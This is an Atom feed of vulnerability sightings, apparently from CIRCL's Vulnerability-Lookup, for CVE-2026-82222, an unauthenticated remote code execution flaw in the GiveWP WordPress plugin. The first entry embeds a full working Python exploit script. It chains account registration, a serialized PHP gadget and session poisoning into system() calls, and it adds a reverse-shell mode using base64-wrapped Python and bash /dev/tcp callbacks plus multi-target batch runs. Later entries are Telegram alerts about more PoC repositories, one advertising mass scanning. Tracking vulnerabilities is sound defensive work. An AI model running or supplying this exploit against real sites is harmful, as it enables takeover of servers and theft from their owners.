<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/sightings/feed</id>
  <title>Most recent sightings.</title>
  <updated>2026-10-05T13:08:44.530937+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent sightings.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/023140d4-b691-41fc-89ce-f6dbebbba767/export</id>
    <title>023140d4-b691-41fc-89ce-f6dbebbba767</title>
    <updated>2026-10-05T13:08:44.556329+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "023140d4-b691-41fc-89ce-f6dbebbba767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://gist.github.com/wh01s17/dbc1c313d7a7c0dfa698192e0c8fb040", "content": "#!/usr/bin/env python3\nr\"\"\"\nCVE-2026-82222 \u2014 GiveWP &amp;lt;= 4.16.7.1 \u2014 Unauthenticated Remote Code Execution\nAuthorized-security-testing PoC. Use only against systems you are permitted\nto test. Default command is a harmless `id`; execution is proven by fetching\na tokened marker file over HTTP.\n\nChain (GiveWP 4.16.5.1 stock dependencies, WordPress 6.x, PHP 8.1):\n  1. POST give_action=user_register          -&amp;gt; account + auth cookie\n     (ignores users_can_register; nonce only added in 4.16.6)\n  2. POST wp-admin/profile.php               -&amp;gt; serialized gadget stored in\n     own last_name user meta (NUL-free, plain-name properties; namespace\n     separators use 4 backslashes to survive the two stripslashes passes)\n  3. admin-ajax action=give_donation_form_nonce, then\n     action=give_process_donation WITHOUT give_last\n     -&amp;gt; server falls back to the planted last_name meta -&amp;gt;\n     Utils::maybeSafeUnserialize (allowed_classes=false) defers the payload\n     into wp_give_sessions -&amp;gt; HTTP 500 after the write\n  4. Trigger request with the same cookies -&amp;gt; unguarded maybe_unserialize()\n     revives the graph -&amp;gt; at GC:\n        TCPDF::__destruct -&amp;gt; _destroy(true)\n          -&amp;gt; foreach ($this-&amp;gt;imagekeys as ...)          [imagekeys = Session]\n            -&amp;gt; Give\\Vendors\\Symfony\\...\\Session\\Session::getIterator()\n              -&amp;gt; getAttributeBag() -&amp;gt; getBag($this-&amp;gt;attributeName)\n                -&amp;gt; $this-&amp;gt;storage-&amp;gt;getBag($cmd)         [storage = Factory]\n                  -&amp;gt; Give\\TestData\\Factories\\DonationFactory::__call('getBag',[$cmd])\n                    -&amp;gt; ProviderForwarder -&amp;gt; call_user_func_array('system', [$cmd])\n\nUsage:\n  ./cve-2026-82222-rce.py -u http://target[:port][/path]\n  ./cve-2026-82222-rce.py -f urls.txt [--cmd 'id'] [--form-id N]\n                          [--amount 10.00] [--marker-path wp-content/uploads]\n                          [--timeout 20] [--json evidence.json] [--dry-run]\n  ./cve-2026-82222-rce.py -u http://target --shell LHOST [--lport 4444]\n\nNotes:\n  * commands run through system() (sh -c); keep them single-line and ASCII.\n    '&amp;lt;', '&amp;gt;' and '&amp;amp;' are rejected: the WordPress profile storage HTML-escapes\n    them, which corrupts the serialized payload (use 'tee' instead of '&amp;gt;').\n  * --shell starts a local listener before triggering a reverse shell. It\n    prefers a Python PTY and falls back to bash + /dev/tcp. LHOST must be\n    reachable from the target; --bind-host controls only the local listener.\n  * --form-id skips auto-discovery (first published give_forms form).\n  * Exit code: 0 all targets confirmed, 1 one or more not confirmed.\n\"\"\"\n\nimport argparse\nimport base64\nimport json\nimport os\nimport random\nimport re\nimport select\nimport socket\nimport string\nimport sys\nimport threading\nimport time\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nUA = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) CVE-2026-82222-PoC/1.0\"}\n\n\n# ---------------------------------------------------------------- payload ---\n\ndef php_s(value: str) -&amp;gt; str:\n    \"\"\"PHP serialized string (byte-length correct).\"\"\"\n    return 's:%d:\"%s\";' % (len(value.encode()), value)\n\n\ndef build_payload(command: str, token: str) -&amp;gt; str:\n    \"\"\"Serialize the TCPDF -&amp;gt; Symfony Session -&amp;gt; DonationFactory graph.\n\n    Wire format constraints (verified against the live target):\n      - plain-name properties (NUL-free; hydrate the declared protected/\n        private slots on PHP 8.1);\n      - four literal backslashes per namespace separator on the wire: the\n        write path applies stripslashes_deep twice (process-donation.php:159\n        and Utils::removeBackslashes), 4 -&amp;gt; 2 -&amp;gt; 1;\n      - O: counts the post-strip class-name length.\n    \"\"\"\n    sep = \"\\\\\" * 4\n    factory_cls = \"Give\" + sep + \"TestData\" + sep + \"Factories\" + sep + \"DonationFactory\"\n    session_cls = (\"Give\" + sep + \"Vendors\" + sep + \"Symfony\" + sep + \"Component\"\n                   + sep + \"HttpFoundation\" + sep + \"Session\" + sep + \"Session\")\n    factory_real = \"Give\\\\TestData\\\\Factories\\\\DonationFactory\"\n    session_real = \"Give\\\\Vendors\\\\Symfony\\\\Component\\\\HttpFoundation\\\\Session\\\\Session\"\n\n    providers = \"a:1:{\" + php_s(\"getBag\") + php_s(\"system\") + \"}\"\n    factory = (\"O:%d:\\\"%s\\\":1:{\" % (len(factory_real), factory_cls)\n               + php_s(\"loadedProviders\") + providers + \"}\")\n    session = (\"O:%d:\\\"%s\\\":2:{\" % (len(session_real), session_cls)\n               + php_s(\"storage\") + factory\n               + php_s(\"attributeName\") + php_s(command) + \"}\")\n    payload = (\"O:5:\\\"TCPDF\\\":2:{\"\n               + php_s(\"file_id\") + php_s(token)\n               + php_s(\"imagekeys\") + session + \"}\")\n    return payload\n\n\ndef build_reverse_shell_command(host: str, port: int, python_bin: str) -&amp;gt; str:\n    \"\"\"Return a callback command whose serialized form avoids '&amp;lt;', '&amp;gt;' and '&amp;amp;'.\"\"\"\n    source = (\"import os,pty,socket\\n\"\n              \"s=socket.socket()\\n\"\n              f\"s.connect(({host!r},{port}))\\n\"\n              \"for fd in (0,1,2): os.dup2(s.fileno(),fd)\\n\"\n              \"pty.spawn('/bin/sh')\\n\")\n    encoded = base64.b64encode(source.encode()).decode()\n    python_callback = (\n        f'{python_bin} -c \"import base64;exec(base64.b64decode(\\'{encoded}\\'))\"')\n\n    # The official WordPress image may not contain Python. Keep the dangerous\n    # redirection characters inside base64 so profile storage cannot corrupt\n    # the serialized string before bash decodes it on the target.\n    bash_source = f\"bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/{host}/{port} 0&amp;gt;&amp;amp;1'\"\n    bash_encoded = base64.b64encode(bash_source.encode()).decode()\n    return f\"{python_callback} || echo {bash_encoded} | base64 -d | sh\"\n\n\ndef open_listener(host: str, port: int) -&amp;gt; socket.socket:\n    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    listener.bind((host, port))\n    listener.listen(1)\n    return listener\n\n\ndef interactive_session(conn: socket.socket) -&amp;gt; None:\n    \"\"\"Bridge the accepted reverse-shell socket to the current terminal.\"\"\"\n    stdin_fd = sys.stdin.fileno()\n    stdout_fd = sys.stdout.fileno()\n    old_term = None\n    stdin_open = True\n\n    if sys.stdin.isatty():\n        import termios\n        import tty\n        old_term = termios.tcgetattr(stdin_fd)\n        tty.setraw(stdin_fd)\n\n    try:\n        while True:\n            readers = [conn]\n            if stdin_open:\n                readers.append(stdin_fd)\n            ready, _, _ = select.select(readers, [], [])\n            if conn in ready:\n                try:\n                    data = conn.recv(4096)\n                except OSError:\n                    break\n                if not data:\n                    break\n                os.write(stdout_fd, data)\n            if stdin_open and stdin_fd in ready:\n                data = os.read(stdin_fd, 4096)\n                if data:\n                    try:\n                        conn.sendall(data)\n                    except OSError:\n                        break\n                else:\n                    stdin_open = False\n                    try:\n                        conn.shutdown(socket.SHUT_WR)\n                    except OSError:\n                        pass\n    finally:\n        if old_term is not None:\n            import termios\n            termios.tcsetattr(stdin_fd, termios.TCSADRAIN, old_term)\n\n\ndef trigger_reverse_shell(sess: requests.Session, urls, listener: socket.socket,\n                          request_timeout: int, connect_timeout: int):\n    \"\"\"Trigger deserialization and return the first callback connection.\"\"\"\n    cookies = sess.cookies.get_dict()\n\n    def trigger(url):\n        try:\n            requests.get(url, headers=UA, cookies=cookies, verify=False,\n                         timeout=max(request_timeout, connect_timeout + 5))\n        except requests.RequestException:\n            pass\n\n    per_attempt = max(0.1, connect_timeout / len(urls))\n    for attempt, url in enumerate(urls, 1):\n        threading.Thread(target=trigger, args=(url,), daemon=True).start()\n        listener.settimeout(per_attempt)\n        try:\n            conn, peer = listener.accept()\n            conn.settimeout(None)\n            return conn, peer, attempt\n        except socket.timeout:\n            continue\n    return None, None, None\n\n\n# ------------------------------------------------------------- discovery ----\n\nJUNK = re.compile(r\"(feed|wp-json|wp-includes|wp-admin|wp-login|xmlrpc|\\.css|\\.js|\\.png|\\.jpe?g|#|^mailto:)\", re.I)\n\n\ndef discover_form_id(sess: requests.Session, base: str, timeout: int):\n    \"\"\"Find the first published legacy donation form id.\n\n    Walks the give_forms archive (and homepage as fallback), then probes the\n    linked pages for the donation form markup.\n    \"\"\"\n    seen_pages = set()\n    for listing in (base + \"/?post_type=give_forms\", base + \"/\"):\n        try:\n            r = sess.get(listing, timeout=timeout, allow_redirects=True)\n        except requests.RequestException:\n            continue\n        m = re.search(r'name=\"give-form-id\"\\s+value=\"(\\d+)\"', r.text)\n        if m:\n            return m.group(1), listing\n        links = []\n        for href in re.findall(r'href=\"([^\"]+)\"', r.text):\n            if href.startswith(\"/\") and not href.startswith(\"//\"):\n                href = base + href\n            if (href.startswith(base) and not JUNK.search(href)\n                    and href.rstrip(\"/\") != base.rstrip(\"/\") and href not in links):\n                links.append(href)\n        for link in links[:8]:\n            if link in seen_pages:\n                continue\n            seen_pages.add(link)\n            try:\n                r2 = sess.get(link, timeout=timeout, allow_redirects=True)\n            except requests.RequestException:\n                continue\n            m = re.search(r'name=\"give-form-id\"\\s+value=\"(\\d+)\"', r2.text)\n            if m:\n                return m.group(1), link\n    return None, None\n\n\n# ---------------------------------------------------------------- exploit ---\n\ndef grab(pat, text):\n    m = re.search(pat, text)\n    return m.group(1) if m else \"\"\n\n\ndef exploit_target(base: str, args) -&amp;gt; dict:\n    ev = {\"target\": base, \"steps\": {}, \"confirmed\": False}\n    base = base.rstrip(\"/\")\n    token = \"\".join(random.choices(string.ascii_lowercase + string.digits, k=12))\n    user = \"poc\" + token\n    email = f\"{user}@poc.local\"\n    marker_rel = args.marker_path.strip(\"/\")\n    shell_mode = bool(args.shell)\n    if shell_mode:\n        command = build_reverse_shell_command(\n            args.shell, args.lport, args.python_bin)\n    else:\n        # NOTE: profile.php HTML-escapes '&amp;lt;', '&amp;gt;' and '&amp;amp;', which breaks the\n        # serialized payload byte lengths. Capture output with tee instead.\n        command = f\"({args.cmd}) | tee {marker_rel}/{token}.txt\"\n    payload = build_payload(command, token)\n    marker_url = f\"{base}/{marker_rel}/{token}.txt\"\n\n    if args.dry_run:\n        ev[\"dry_run\"] = {\"token\": token, \"command\": command,\n                         \"payload_len\": len(payload),\n                         \"payload_b64\": base64.b64encode(payload.encode()).decode()}\n        if not shell_mode:\n            ev[\"dry_run\"][\"marker_url\"] = marker_url\n        return ev\n\n    s = requests.Session()\n    s.headers.update(UA)\n    s.verify = False\n    T = args.timeout\n\n    def step(name, ok, detail=\"\"):\n        ev[\"steps\"][name] = {\"ok\": bool(ok), \"detail\": str(detail)[:160]}\n        print(f\"    [{'PASS' if ok else 'FAIL'}] {name}\" + (f\" \u2014 {detail}\" if detail else \"\"))\n        return ok\n\n    print(f\"[*] target {base}  token {token}\")\n\n    # -- 1. unauthenticated registration -------------------------------------\n    r = s.post(f\"{base}/\", data={\n        \"give_action\": \"user_register\",\n        \"give_user_login\": user,\n        \"give_user_email\": email,\n        \"give_user_pass\": \"PocPass!123\",\n        \"give_user_pass2\": \"PocPass!123\",\n        \"give_register_submit\": \"Register\",\n    }, timeout=T)\n    cookies = list(s.cookies.get_dict())\n    if not step(\"register (auth cookie issued)\",\n                any(\"logged_in\" in c for c in cookies), f\"status={r.status_code}\"):\n        ev[\"note\"] = (\"registration did not issue an auth cookie \u2014 target may be \"\n                      \"GiveWP &amp;gt;= 4.16.6 (nonce-gated registration) or patched\")\n        return ev\n\n    # -- 2. plant the serialized graph in own last_name meta ------------------\n    r = s.get(f\"{base}/wp-admin/profile.php\", timeout=T, allow_redirects=True)\n    nonce = grab(r'name=\"_wpnonce\"[^&amp;gt;]*value=\"([^\"]+)\"', r.text)\n    uid = grab(r'name=\"user_id\"[^&amp;gt;]*value=\"([^\"]+)\"', r.text)\n    ckid = grab(r'name=\"checkuser_id\"[^&amp;gt;]*value=\"([^\"]+)\"', r.text) or uid\n    if not step(\"profile nonce harvested\", bool(nonce and uid), f\"uid={uid!r}\"):\n        return ev\n\n    r = s.post(f\"{base}/wp-admin/profile.php\", data={\n        \"_wpnonce\": nonce, \"_wp_http_referer\": \"/wp-admin/profile.php\",\n        \"from\": \"profile\", \"checkuser_id\": ckid, \"user_login\": user,\n        \"first_name\": \"Poc\", \"last_name\": payload, \"nickname\": user,\n        \"email\": email, \"display_name\": user, \"user_id\": uid,\n        \"action\": \"update\", \"submit\": \"Update Profile\",\n    }, timeout=T)\n    updated = \"Profile updated\" in r.text\n    r2 = s.get(f\"{base}/wp-admin/profile.php\", timeout=T, allow_redirects=True)\n    m = (re.search(r'name=\"last_name\"[^&amp;gt;]*value=\"([^\"]*)\"', r2.text)\n         or re.search(r'value=\"([^\"]*)\"[^&amp;gt;]*name=\"last_name\"', r2.text))\n    stored = m.group(1) if m else \"\"\n    if not step(\"gadget stored in last_name meta\",\n                updated and \"TCPDF\" in stored and \"attributeName\" in stored,\n                f\"update={updated} stored_len={len(stored)}\"):\n        return ev\n\n    # -- 3. poison the session ------------------------------------------------\n    form_id = args.form_id\n    if not form_id:\n        form_id, src = discover_form_id(s, base, T)\n        step(\"donation form discovered\", bool(form_id),\n             f\"form_id={form_id} via {src}\" if form_id else \"no give_forms found; use --form-id\")\n        if not form_id:\n            return ev\n    ev[\"form_id\"] = form_id\n\n    r = s.post(f\"{base}/wp-admin/admin-ajax.php\",\n               data={\"action\": \"give_donation_form_nonce\", \"give_form_id\": form_id},\n               timeout=T)\n    form_hash = \"\"\n    try:\n        form_hash = r.json().get(\"data\", \"\")\n    except Exception:\n        pass\n    if not step(\"donation nonce via admin-ajax\", bool(form_hash), f\"nonce={form_hash[:10]}...\"):\n        return ev\n\n    r = s.post(f\"{base}/wp-admin/admin-ajax.php\", data={\n        \"give-form-id\": form_id,\n        \"give-form-hash\": form_hash,\n        \"give-price-id\": \"0\",\n        \"give-amount\": args.amount,\n        \"give_first\": \"Poc\",\n        \"give_email\": email,              # give_last intentionally omitted\n        \"give-gateway\": \"manual\",\n        \"action\": \"give_process_donation\",\n    }, timeout=T)\n    step(\"session poisoned (HTTP 500 after write)\", r.status_code == 500,\n         f\"status={r.status_code}\"\n         + (\"\" if r.status_code == 500 else\n            \" (no crash: amount/gateway mismatch or write-path rejection \u2014\"\n            \" target may be patched)\"))\n\n    # -- 4a. trigger and attach the reverse shell -----------------------------\n    trigger_urls = [f\"{base}/\", f\"{base}/?p={form_id}\",\n                    f\"{base}/?post_type=give_forms\"]\n    if shell_mode:\n        listener = open_listener(args.bind_host, args.lport)\n        print(f\"[*] listening on {args.bind_host}:{args.lport}; \"\n              f\"callback address {args.shell}:{args.lport}\")\n        try:\n            conn, peer, attempt = trigger_reverse_shell(\n                s, trigger_urls, listener, T, args.connect_timeout)\n            if conn is None:\n                step(\"reverse shell connected\", False,\n                     f\"no callback after {args.connect_timeout}s\")\n                ev[\"note\"] = (\"the target did not connect back; verify LHOST,\"\n                              \" firewall rules, Python/bash availability, and egress\")\n                return ev\n\n            peer_text = f\"{peer[0]}:{peer[1]}\"\n            step(\"reverse shell connected\", True,\n                 f\"peer={peer_text} trigger#{attempt}\")\n            ev[\"confirmed\"] = True\n            ev[\"shell\"] = {\"callback\": f\"{args.shell}:{args.lport}\",\n                           \"peer\": peer_text}\n            print(\"[*] interactive shell attached; use Ctrl-D or 'exit' to close\")\n            try:\n                interactive_session(conn)\n            finally:\n                conn.close()\n            print(\"\\n[*] remote shell closed\")\n            return ev\n        finally:\n            listener.close()\n\n    # -- 4b. trigger and verify the marker over HTTP --------------------------\n    for attempt, url in enumerate(trigger_urls):\n        try:\n            s.get(url, timeout=T)\n        except requests.RequestException:\n            pass\n        try:\n            m = s.get(marker_url, timeout=T)\n            if m.status_code == 200 and m.text.strip():\n                out = m.text.strip()[:400]\n                step(\"command executed (marker fetched over HTTP)\", True,\n                     f\"trigger#{attempt + 1}\")\n                ev[\"confirmed\"] = True\n                ev[\"command\"] = args.cmd\n                ev[\"output\"] = out\n                ev[\"marker_url\"] = marker_url\n                print(\"    ---- command output \" + \"-\" * 34)\n                for line in out.splitlines()[:6]:\n                    print(\"    \" + line)\n                print(\"    \" + \"-\" * 52)\n                return ev\n        except requests.RequestException:\n            pass\n        time.sleep(1.5)\n\n    step(\"command executed (marker fetched over HTTP)\", False,\n         f\"marker {marker_url} not retrievable\")\n    ev[\"note\"] = (\"session poison may still have occurred; marker unreadable \"\n                  \"can mean uploads not writable, different webroot, or a \"\n                  \"patched/unsupported target\")\n    return ev\n\n\n# ------------------------------------------------------------------- main ---\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"CVE-2026-82222 GiveWP &amp;lt;= 4.16.7.1 unauthenticated RCE PoC\",\n        formatter_class=argparse.RawDescriptionHelpFormatter)\n    tgt = ap.add_mutually_exclusive_group(required=True)\n    tgt.add_argument(\"-u\", \"--url\", help=\"single target base URL\")\n    tgt.add_argument(\"-f\", \"--file\", help=\"file with one target URL per line\")\n    mode = ap.add_mutually_exclusive_group()\n    mode.add_argument(\"--cmd\", default=\"id\",\n                      help=\"command to execute (default: id; avoid '&amp;lt;')\")\n    mode.add_argument(\"--shell\", metavar=\"LHOST\",\n                      help=\"connect back to LHOST and attach an interactive shell\")\n    ap.add_argument(\"--lport\", type=int, default=4444,\n                    help=\"reverse-shell callback/listener port (default: 4444)\")\n    ap.add_argument(\"--bind-host\", default=\"0.0.0.0\",\n                    help=\"local listener address (default: 0.0.0.0)\")\n    ap.add_argument(\"--connect-timeout\", type=int, default=30,\n                    help=\"seconds to wait for a reverse-shell callback (default: 30)\")\n    ap.add_argument(\"--python-bin\", default=\"python3\",\n                    help=\"preferred Python executable on target; bash is fallback\")\n    ap.add_argument(\"--form-id\", help=\"donation form ID (skips auto-discovery)\")\n    ap.add_argument(\"--amount\", default=\"10.00\", help=\"donation amount (default 10.00)\")\n    ap.add_argument(\"--marker-path\", default=\"wp-content/uploads\",\n                    help=\"HTTP-visible writable path for the marker (default wp-content/uploads)\")\n    ap.add_argument(\"--timeout\", type=int, default=20)\n    ap.add_argument(\"--json\", dest=\"json_out\", help=\"write evidence JSON here\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\",\n                    help=\"build the payload and exit (no requests sent)\")\n    args = ap.parse_args()\n\n    if args.shell and args.file:\n        ap.error(\"--shell requires a single target via --url\")\n    if not 1 &amp;lt;= args.lport &amp;lt;= 65535:\n        ap.error(\"--lport must be between 1 and 65535\")\n    if args.connect_timeout &amp;lt; 1:\n        ap.error(\"--connect-timeout must be at least 1 second\")\n\n    bad = [c for c in \"&amp;lt;&amp;gt;&amp;amp;\" if c in args.cmd] if not args.shell else []\n    if bad:\n        ap.error(\"command must not contain \" + \" \".join(repr(c) for c in bad)\n                 + \" (the WordPress profile storage HTML-escapes them and the\"\n                   \" serialized payload would no longer parse; use e.g. 'tee')\"\n                 \" instead of '&amp;gt;')\")\n\n    if args.url:\n        targets = [args.url]\n    else:\n        try:\n            targets = [ln.strip() for ln in open(args.file)\n                       if ln.strip() and not ln.startswith(\"#\")]\n        except OSError as e:\n            ap.error(str(e))\n    if not targets:\n        ap.error(\"no targets\")\n\n    selected_mode = (f\"interactive shell -&amp;gt; {args.shell}:{args.lport}\"\n                     if args.shell else f\"cmd={args.cmd!r}\")\n    print(f\"CVE-2026-82222 GiveWP unauth RCE PoC \u2014 {len(targets)} target(s), \"\n          f\"{selected_mode}\\n\")\n\n    results = []\n    for t in targets:\n        try:\n            results.append(exploit_target(t, args))\n        except Exception as e:                       # keep batch alive\n            print(f\"    [FAIL] unexpected error \u2014 {type(e).__name__}: {e}\")\n            results.append({\"target\": t, \"confirmed\": False,\n                            \"steps\": {\"exception\": {\"ok\": False, \"detail\": str(e)[:160]}}})\n        print()\n\n    print(\"=\" * 64)\n    print(f\"{'target':&amp;lt;42} {'result':&amp;lt;12}\")\n    print(\"-\" * 64)\n    for r in results:\n        print(f\"{r.get('target', '?'):&amp;lt;42} \"\n              f\"{'RCE CONFIRMED' if r.get('confirmed') else 'not confirmed':&amp;lt;12}\")\n    print(\"=\" * 64)\n    ok = sum(1 for r in results if r.get(\"confirmed\"))\n    print(f\"{ok}/{len(results)} target(s) confirmed command execution\")\n\n    if args.json_out:\n        with open(args.json_out, \"w\") as fh:\n            json.dump(results, fh, indent=2)\n        print(f\"evidence written to {args.json_out}\")\n\n    sys.exit(0 if ok == len(results) and ok &amp;gt; 0 else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-10-03T04:12:26.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/023140d4-b691-41fc-89ce-f6dbebbba767/export"/>
    <published>2026-10-03T04:12:26+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/3e8b6bd3-a9e6-47a3-8a5c-f1a359feb88d/export</id>
    <title>3e8b6bd3-a9e6-47a3-8a5c-f1a359feb88d</title>
    <updated>2026-10-05T13:08:44.558544+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "3e8b6bd3-a9e6-47a3-8a5c-f1a359feb88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102000", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sajjadsiam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-11 06:59:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-11T11:00:04.774282Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/3e8b6bd3-a9e6-47a3-8a5c-f1a359feb88d/export"/>
    <published>2026-09-11T11:00:04.774282+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/723cbc36-f412-44d6-ab1f-1a35e635b815/export</id>
    <title>723cbc36-f412-44d6-ab1f-1a35e635b815</title>
    <updated>2026-10-05T13:08:44.558694+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "723cbc36-f412-44d6-ab1f-1a35e635b815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/H9pq_-_u-I5XxEZfq-Ia_chOLgi5ZnpVozN0XcBs3PyYc-g", "content": "", "creation_timestamp": "2026-09-10T00:00:53.356540Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/723cbc36-f412-44d6-ab1f-1a35e635b815/export"/>
    <published>2026-09-10T00:00:53.356540+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/12c4aad9-0418-411c-8704-433329f2e9fb/export</id>
    <title>12c4aad9-0418-411c-8704-433329f2e9fb</title>
    <updated>2026-10-05T13:08:44.558803+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "12c4aad9-0418-411c-8704-433329f2e9fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101713", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a GhostlyrootB2H\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 19:26:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u26a1 GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP &amp;lt;= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. \u26a0\ufe0f Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T00:00:50.887396Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/12c4aad9-0418-411c-8704-433329f2e9fb/export"/>
    <published>2026-09-10T00:00:50.887396+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/fd9a4665-226c-4bca-90d8-b815fb84a52a/export</id>
    <title>fd9a4665-226c-4bca-90d8-b815fb84a52a</title>
    <updated>2026-10-05T13:08:44.558911+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "fd9a4665-226c-4bca-90d8-b815fb84a52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "https://t.me/GithubRedTeam/101713", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-82222\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a GhostlyrootB2H\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 19:26:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u26a1 GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP &amp;lt;= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. \u26a0\ufe0f Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-09T05:00:05.219664Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/fd9a4665-226c-4bca-90d8-b815fb84a52a/export"/>
    <published>2026-09-09T05:00:05.219664+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/207003f1-f504-424e-9067-91623b19a00e/export</id>
    <title>207003f1-f504-424e-9067-91623b19a00e</title>
    <updated>2026-10-05T13:08:44.559016+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "207003f1-f504-424e-9067-91623b19a00e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/H9pq_-_u-I5XxEZfq-Ia_chOLgi5ZnpVozN0XcBs3PyYc-g", "content": "", "creation_timestamp": "2026-09-09T04:00:31.489265Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/207003f1-f504-424e-9067-91623b19a00e/export"/>
